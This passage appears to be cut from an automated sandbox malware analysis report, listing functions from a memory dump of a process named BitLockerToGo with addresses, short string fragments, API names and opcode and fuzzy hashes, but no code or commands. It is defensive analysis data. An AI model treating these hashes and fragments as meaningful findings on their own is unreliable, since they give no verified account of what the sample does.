:, xrefs: 00438774

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 6ef4858a509dc4cdf184841b975ef3ff71504944214386f4843698eac8c18c89
Instruction ID: 2f73f8a709d549562e3d7cf930d7ac737898b17613de950682556bef1c03a8d3
Opcode Fuzzy Hash: 6ef4858a509dc4cdf184841b975ef3ff71504944214386f4843698eac8c18c89
Instruction Fuzzy Hash: 08D1D37A618351CBCB189F24E85227BB3F1FF4A741F0B987DD841872A4EB3A8950D746

Function 00429260 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 00429548

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: cb17e7c1b373ae868c44e9598b488d8d6bc4fb0b8933aa7dad50c6f238b26d1a
Instruction ID: 94a86bae69f0cded1cd4c5f51765d04778e5bfeb54991f1d1b4d9956c4e80e3f
Opcode Fuzzy Hash: cb17e7c1b373ae868c44e9598b488d8d6bc4fb0b8933aa7dad50c6f238b26d1a
Instruction Fuzzy Hash: 31C14A72B083206BD714CE24E490B6BB7E9AF84314F58896FE89587381D73CDC45C796

Function 004310AA Relevance: 1.6, APIs: 1, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00431171

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: eef166c5c5dfea6ab23290ede3330cb0984d3a47adec6e6c5c5b8f68a533f617
Instruction ID: ad1c33575bae2ed3009f960dfe5129d1648ce1fd3ab50d194c84beb6a775bd63
Opcode Fuzzy Hash: eef166c5c5dfea6ab23290ede3330cb0984d3a47adec6e6c5c5b8f68a533f617
Instruction Fuzzy Hash: 1E5195A2664B419BC314CF29C940451F3B2FF89320329A71CC5658FBB1E738F565D78A

Function 004302E1 Relevance: 1.6, APIs: 1, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00430398

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: cd40e5180104e3fea352708efa22aa5445976ff024ae474a8b90d297d1b8eb05
Instruction ID: 1fe73e8abda640fc45fc8abb7656ea38db8a0305603315cc0b16c9cb29a464cc
Opcode Fuzzy Hash: cd40e5180104e3fea352708efa22aa5445976ff024ae474a8b90d297d1b8eb05
Instruction Fuzzy Hash: BE5181B26A0B019BC314CF29C940456B3B2FF99310329AB1CC5698BFB1E738F565D789

Function 0040CB05 Relevance: 1.6, Strings: 1, Instructions: 352COMMON

Download Yara Rule

Strings

l , xrefs: 0040CC2A

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-962745716
Opcode ID: 9e16378b57c435b3adfd03d972b0411f122b2d91f08cdd714cb790fe03796a48
Instruction ID: a729820b8e819a76a27f29a9a4287a7da9ba66fc493bdc63a1e6a8b259b003c4
Opcode Fuzzy Hash: 9e16378b57c435b3adfd03d972b0411f122b2d91f08cdd714cb790fe03796a48
Instruction Fuzzy Hash: 78B11975214B01DFD318CF29C890B62BBE2FFA6310B14866DC4998BBA1D779F815CB84

Function 004374D0 Relevance: 1.6, Strings: 1, Instructions: 350COMMON

Download Yara Rule

Strings

vC, xrefs: 004376A3

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: vC
API String ID: 0-1371296168
Opcode ID: 4105dde6d64d899df630aa6fc63b597750c2bcd0d9dc4e6b55e01dc50c713722
Instruction ID: 6a6d0a71e1b84a727b213308c2c785541bafad44c80d4ad8f03617fbbb732a02
Opcode Fuzzy Hash: 4105dde6d64d899df630aa6fc63b597750c2bcd0d9dc4e6b55e01dc50c713722
Instruction Fuzzy Hash: 25A155766083009BD328DF28CC9276BB7D2FB89314F15983DE9C997391DB799805CB86

Function 0043DC10 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

m6i, xrefs: 0043DCD4

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: m6i
API String ID: 2994545307-433365587
Opcode ID: 8bde33d7d81af4f78b099eaeba40ffaf7b1d1fb6752c7080faba678fe93ad405
Instruction ID: 2c2128ccbe77a5ce63f3182006c32708a20dcc8672a5bd55d4515132e68f9f4e
Opcode Fuzzy Hash: 8bde33d7d81af4f78b099eaeba40ffaf7b1d1fb6752c7080faba678fe93ad405
Instruction Fuzzy Hash: 4D913435A047118BD714DF18E850A6BB3E2FFDC710F16A42DE9888B364EB79AC51C785

Function 00422F30 Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

B4B, xrefs: 00423438

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: B4B
API String ID: 0-2946978807
Opcode ID: be586f6a036dd460c41b697459eb5122b12174c17e66ebc03f4b9dc89260c007
Instruction ID: 93deb56d5e0a48064e38cfb70b86653f6b10d7626219e1a5513b4a15b4d9da42
Opcode Fuzzy Hash: be586f6a036dd460c41b697459eb5122b12174c17e66ebc03f4b9dc89260c007
Instruction Fuzzy Hash: A2A101B16083159FD710CF68D8807AFF7E0FBC8344F01892DF999AB280D7B499498B86

Function 0041C580 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

~, xrefs: 0041C64B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: 37ee67bda75a7dbd8089ec974ae9b1b12fc6fd802d9593f2840d077afb9ed359
Instruction ID: 623894f12c3e1cafc853d53a6c0bca52113d159c92967f89b04db2b7b94af6a7
Opcode Fuzzy Hash: 37ee67bda75a7dbd8089ec974ae9b1b12fc6fd802d9593f2840d077afb9ed359
Instruction Fuzzy Hash: 58812B729442614FC7128E288C903ABBBD1AB85324F19C27DDCB99B3C2D7788C46D7D1

Function 00423290 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

B4B, xrefs: 00423438

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: B4B
API String ID: 0-2946978807
Opcode ID: 6cdb34c774402e49e4f6ace5e2708362c594fbf75a7442bf04e1c134fa01d3cc
Instruction ID: db7325596d52a72db0a66b40dabd6d40ff4049512e233b3c57ee9eeb7c74cf3b
Opcode Fuzzy Hash: 6cdb34c774402e49e4f6ace5e2708362c594fbf75a7442bf04e1c134fa01d3cc
Instruction Fuzzy Hash: A4A101B0E04318AFDB10DFA8D9857AEBBB4FB85304F10456DF698AB280D7744948CB96

Function 00405ED0 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 00406006

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: d9dec9febcea7046455d8fb5a57df134163c7b989985a148f1426b4dc8793823
Instruction ID: 381d5142375ae06eb755a876d455664e370f8041fbfe0758d06cf5185896235e
Opcode Fuzzy Hash: d9dec9febcea7046455d8fb5a57df134163c7b989985a148f1426b4dc8793823
Instruction Fuzzy Hash: 3EB139711097819FD321DF28C88061BFBE0AFA9704F444A2DF5D997782D635E918CB67

Function 00420F50 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

@vEv, xrefs: 00420F98

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: @vEv
API String ID: 0-3729063050
Opcode ID: f624b316539e4302f1e960413ea034e0a14242dd65e0855f03b1eef00a3c5446
Instruction ID: c7e334dc5a1955d81e2995a774378bd6fd7f03f37499ec234d45d35508b10063
Opcode Fuzzy Hash: f624b316539e4302f1e960413ea034e0a14242dd65e0855f03b1eef00a3c5446
Instruction Fuzzy Hash: 6171FFB07003109BD7209F64DC82B6773B4EFA5358F54452DFA869B3A1E379E904C76A

Function 00429700 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

", xrefs: 004298FE

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: a3c45a116d1bcfb82e13fe65b12956e147a2fd8ad73a016dda39fbd2ee11f08e
Instruction ID: 19cccde6760c41f13b197726376158566d666e76366353ce09bb017b74a89e80
Opcode Fuzzy Hash: a3c45a116d1bcfb82e13fe65b12956e147a2fd8ad73a016dda39fbd2ee11f08e
Instruction Fuzzy Hash: C3710972B183258BD714CE2CD88031FB7E2ABC6720F59852FE49497395D3399D45C78A

Function 00426578 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

VgB, xrefs: 004266F3, 00426747, 00426750

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: VgB
API String ID: 0-622745292
Opcode ID: 06eb299f1e1fbe06f27e03308be1bea417eb84fe81fafd33d7182eb34c649aae
Instruction ID: ec0ce4220d91cbe85ef60df19b57f331c9c9a21615ff78bcf4e9ef35e2733c52
Opcode Fuzzy Hash: 06eb299f1e1fbe06f27e03308be1bea417eb84fe81fafd33d7182eb34c649aae
Instruction Fuzzy Hash: A351CEB5508304EBD310CF24D84175BBBE4FBC9314F016E3DE989AB2A0EB759544CB8A

Function 0043C7C4 Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

_Ve;, xrefs: 0043C7E0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: _Ve;
API String ID: 0-1939530796
Opcode ID: 5c4316164d995bff05c224b46600ecaf542428b36f61fcb6de5382298520ce92
Instruction ID: 8571bfd9b79df5e2348bdad1db6d0e4a85cb5fc2431ebceaf223297aee0cf683
Opcode Fuzzy Hash: 5c4316164d995bff05c224b46600ecaf542428b36f61fcb6de5382298520ce92
Instruction Fuzzy Hash: 1441273261C3154BD718DF24C8D127BF7D29BC9344F1AA52ED886A7382E774EA058BC9

Function 0041ACF9 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

fa^*, xrefs: 0041AD36

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: fa^*
API String ID: 0-2308927448
Opcode ID: 7f5db9d33a6f91f6449ce6c9f0baa1e0c03c63bccdc9489110fff01d7b47b6aa
Instruction ID: 34ee202c90696625c299de2b201d6e9879ab082d62f6678b21e0b88d74ca30e6
Opcode Fuzzy Hash: 7f5db9d33a6f91f6449ce6c9f0baa1e0c03c63bccdc9489110fff01d7b47b6aa
Instruction Fuzzy Hash: 032187309007008BDB388F24DC41F6277B2AF5231AF28856EE4A75B7E1E7789556C70A

Function 0041E360 Relevance: .7, Instructions: 707COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa31b096a7d3902f3e7462c98d9f20737f041b597d227528872a84b19d18ca3
Instruction ID: 2d06c979aead919ab9054dafd29e0b53d9a9d724b94253469d1519987e6735bd
Opcode Fuzzy Hash: aaa31b096a7d3902f3e7462c98d9f20737f041b597d227528872a84b19d18ca3
Instruction Fuzzy Hash: 356278B0625B009FD368CF39C811797BBE6EF49710F10892EE0AED73A1DB7565018B5A

Function 0042420E Relevance: .7, Instructions: 691COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: accfb731dfe9ca550f69d533ee1080f9db44e62bb3a37e0444523a9860c9b7b5
Instruction ID: faaaa6b2f64a03b6f3011ea3731b741a2996e3d13b67d45522ad672621de7fc8
Opcode Fuzzy Hash: accfb731dfe9ca550f69d533ee1080f9db44e62bb3a37e0444523a9860c9b7b5
Instruction Fuzzy Hash: 4F221776E00226CBCB18CF68D8906BFB3B2FFC9700B5A8169C945AB364DB345D51CB94

Function 00402F40 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 751892d1a9fe2a6eed7e12c9ece3295bf5fe85d163a34daf90a3d868f6497a8b
Instruction ID: 272705a5ef3e96b50e66b4663cfb3213bfbcaf9de33963063e20083111f61e9e
Opcode Fuzzy Hash: 751892d1a9fe2a6eed7e12c9ece3295bf5fe85d163a34daf90a3d868f6497a8b
Instruction Fuzzy Hash: D85204715083459FCB14CF28C0906AABFE1BF89305F18867EF8996B391D778E949CB85

Function 00406700 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a609260ac4c2e4e9b1110b736099aca7d95cd86af4f87d81eb65a723492405d
Instruction ID: 47c33411892ceb107c4ecc89153770c7cc167245f06ccd7ca171485fd0e54460
Opcode Fuzzy Hash: 0a609260ac4c2e4e9b1110b736099aca7d95cd86af4f87d81eb65a723492405d
Instruction Fuzzy Hash: 2752DFB0A08B858FE731CB24C4843A7BBE1AB51314F15493FD5E756BC2C27DA995CB0A

Function 004074E0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f7b0bf33a8e7d6c8819c877894f591ccd806664842b40ec063030a01e91efb8
Instruction ID: 95044ddbcf0dad1c9763013998ae02806adc2397f01f246e592964cb73f32cbe
Opcode Fuzzy Hash: 9f7b0bf33a8e7d6c8819c877894f591ccd806664842b40ec063030a01e91efb8
Instruction Fuzzy Hash: 6912D771A0C7118BD724DF18D8806ABB3E1EBC4315F29893ED986A7381D738B955CB87

Function 004110E0 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8297979c6031e96f4231aba774fe71a62dfd42c5287f976ba3e202eea1ab37b2
Instruction ID: 899ab796983557eae41bc007e548b7a90ef6fcd0b1e981d45ecdc633c43c5493
Opcode Fuzzy Hash: 8297979c6031e96f4231aba774fe71a62dfd42c5287f976ba3e202eea1ab37b2
Instruction Fuzzy Hash: C532F3B5A04B008FC714EF38D58139ABBF1AF55314F14893ED99A873A1E739E849CB46

Function 00403970 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c478c49f37e52bcc17f030f708eeb8f616ff65162a56a909fba1a35cc4edcea
Instruction ID: 0f89ef32d9a73000ee9b5c68ea2da4659140d6f19473053088ecb18adc480563
Opcode Fuzzy Hash: 1c478c49f37e52bcc17f030f708eeb8f616ff65162a56a909fba1a35cc4edcea
Instruction Fuzzy Hash: CA3234B0914B118FC328CF29C680526BBF5BF85711B604A2ED697A7F90D73AF945CB18

Function 00437910 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a888203b8af88fc571d83bc66d742a1c0ea0dbbdaa3217ad51ca85bf48728854
Instruction ID: c5b6a1f5779748a317148d601c19545443c760b444b1976fe76480b01f6ef5ae
Opcode Fuzzy Hash: a888203b8af88fc571d83bc66d742a1c0ea0dbbdaa3217ad51ca85bf48728854
Instruction Fuzzy Hash: FDF113726082148BD738DF14C88267FB7A2EB88714F15A53EE9C657391DB38ED0587CA

Function 00405980 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05210ab14592169525e76f698fe40e0322417d452b96810df3ed72334fa87ebf
Instruction ID: a1ca46f738caa1c15e883347c6b06f5eabc36dcbcbf2f060ad67318dd3bcd0bc
Opcode Fuzzy Hash: 05210ab14592169525e76f698fe40e0322417d452b96810df3ed72334fa87ebf
Instruction Fuzzy Hash: DAF1CC356087418FD724CF29C88066BFBE2EFD9304F08882EE5D597391E639E945CB96

Function 00421220 Relevance: .4, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdfb884de620e024f71f25dc452354990fa40783a3ddab29937daa446b7458a8
Instruction ID: ca8a3d5ab081b0e9f7fcf1b98d59b6aa013fdcde5d37efa5f8aaa0ec050d5076
Opcode Fuzzy Hash: cdfb884de620e024f71f25dc452354990fa40783a3ddab29937daa446b7458a8
Instruction Fuzzy Hash: 05C13572A043209BD710DF28D84277BB3E1EFA4354F49952DE886973A1F738E945839A

Function 00445D2A Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89761899fdcd5bbf010a814062f086fdcc676d2c9f40afabd63fc75ed55a7ab4
Instruction ID: 0e481ca79685c8c9c511c99b322e06c2f8bf8bc3be077fb3bec636c30ccfcea0
Opcode Fuzzy Hash: 89761899fdcd5bbf010a814062f086fdcc676d2c9f40afabd63fc75ed55a7ab4
Instruction Fuzzy Hash: 3BD1375988D3C56FDB528A700CE94D6BF68ED1312035896EFDCD64A487D70CA20FE726

Function 00424690 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cce8e4b512898664201523a09bafce5068197cb2e82f619fbdc25e15211de2c4
Instruction ID: e14a337cb59f73f4eb96b3197ce793777e5d498d0cb7cd75f49a751dbb57fa3e
Opcode Fuzzy Hash: cce8e4b512898664201523a09bafce5068197cb2e82f619fbdc25e15211de2c4
Instruction Fuzzy Hash: 64A1143AE002248BCB28CFA8E851BAEB7B2FF89300F56416DD945B7351D7396D51CB84

Function 00426B09 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff89cd7481519196bfd7edadc3bc1243657998fc0abde34e41e9d5a5b2764abb
Instruction ID: a0447cd09e6e8f4f002edc290cdf2f2efc31a9c7ba8c268c6ca938ca7010d7ed
Opcode Fuzzy Hash: ff89cd7481519196bfd7edadc3bc1243657998fc0abde34e41e9d5a5b2764abb
Instruction Fuzzy Hash: 66D1F075608291CFD7148F29E81132BBBE2BFC6320F1A8AADE4A1972E1D735D940CB45

Function 0041C850 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29a1067eea8e227af260fdf25b867c6e35937d5963c3d30cffd22b6def3b242c
Instruction ID: c44e9ddbf9b2512b793fb5ffbe277914e5cda94946df6dec4b18f3ae91943e1b
Opcode Fuzzy Hash: 29a1067eea8e227af260fdf25b867c6e35937d5963c3d30cffd22b6def3b242c
Instruction Fuzzy Hash: 2CB14875944301AFD7219F24DC81B6ABBE1FFC8368F144A2EF898932E0D7359C598B46

Function 0043DF30 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 81f72856bbb47050cb0d1f5562e10f568441e2186a78c190d2939d4288837af4
Instruction ID: cd195e56b245e86e4f1a4827f1511509cfbc0d11c149cffb59f42c62929c843f
Opcode Fuzzy Hash: 81f72856bbb47050cb0d1f5562e10f568441e2186a78c190d2939d4288837af4
Instruction Fuzzy Hash: 32A13232B053219BD7248F19D88076BB3E2FFC8310F19A52DE9859B3A4DB79AC51C785

Function 00406270 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb82c8f41fe862e8f5f2d549d2e08dc1927388a173b0262696c8ba9cb2b7a2b
Instruction ID: 2022bbf19441b8f94a73070f535634fd4a70d08abb736e01ef997c90f7ddb05b
Opcode Fuzzy Hash: 0fb82c8f41fe862e8f5f2d549d2e08dc1927388a173b0262696c8ba9cb2b7a2b
Instruction Fuzzy Hash: 19C15CB29087418FC360CF28DC96BABB7E1BF85318F09492DD1DAD6342D778A155CB46

Function 0042A742 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7cb5e740af0763ae4ad8cd122f8ad3bea70a41f73439cb703f866134083ea8a
Instruction ID: 4c6ce0761b6d960950cfffb437402114a419437165ccd67c5dc7a314ec07d1d6
Opcode Fuzzy Hash: f7cb5e740af0763ae4ad8cd122f8ad3bea70a41f73439cb703f866134083ea8a
Instruction Fuzzy Hash: 78819B72B0836047D32C8F39C861377BBD29FD6300F19896EEDD69B395DA3988058746

Function 0042A855 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f196445c551d915e9875b9c3c787f56a2898d18b8b166ddce61da84134318f
Instruction ID: a6a6e12ccf1f1edaa7db106d9392e4e1593eaf584362187802091c4455a2c7ae
Opcode Fuzzy Hash: 62f196445c551d915e9875b9c3c787f56a2898d18b8b166ddce61da84134318f
Instruction Fuzzy Hash: 3581BD72B0836047D32C8B39D861377BBD29FD6300F19896EDDD69B395DA3D88058346

Function 0042406D Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f30f38bed6b30110620228f027c5e55c9ee344176152f37456ceead2c944241
Instruction ID: a452e189543b328afc5c947086a31a41054aabf9733da30c5f5ff15ad50dbe88
Opcode Fuzzy Hash: 8f30f38bed6b30110620228f027c5e55c9ee344176152f37456ceead2c944241
Instruction Fuzzy Hash: 6081363AE00225CBCB28CFA8E8517AEB7B2FF89300F55416DD945A7391DB396D51CB84

Function 0042A7BC Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8be971a025f9ea4dad753c0a0104c709968f2747e4de7bbcc45472c5bbdfb8e
Instruction ID: b44bb235da679b9d4976e93abef0c9d536c2a5bc5a3fd45c74a1b1645caa880f
Opcode Fuzzy Hash: f8be971a025f9ea4dad753c0a0104c709968f2747e4de7bbcc45472c5bbdfb8e
Instruction Fuzzy Hash: 9F81BCB2B0836047D32C8B398861377BBD29FD2300F198A6EDDD69B395DA3D88058346

Function 0042A7AD Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

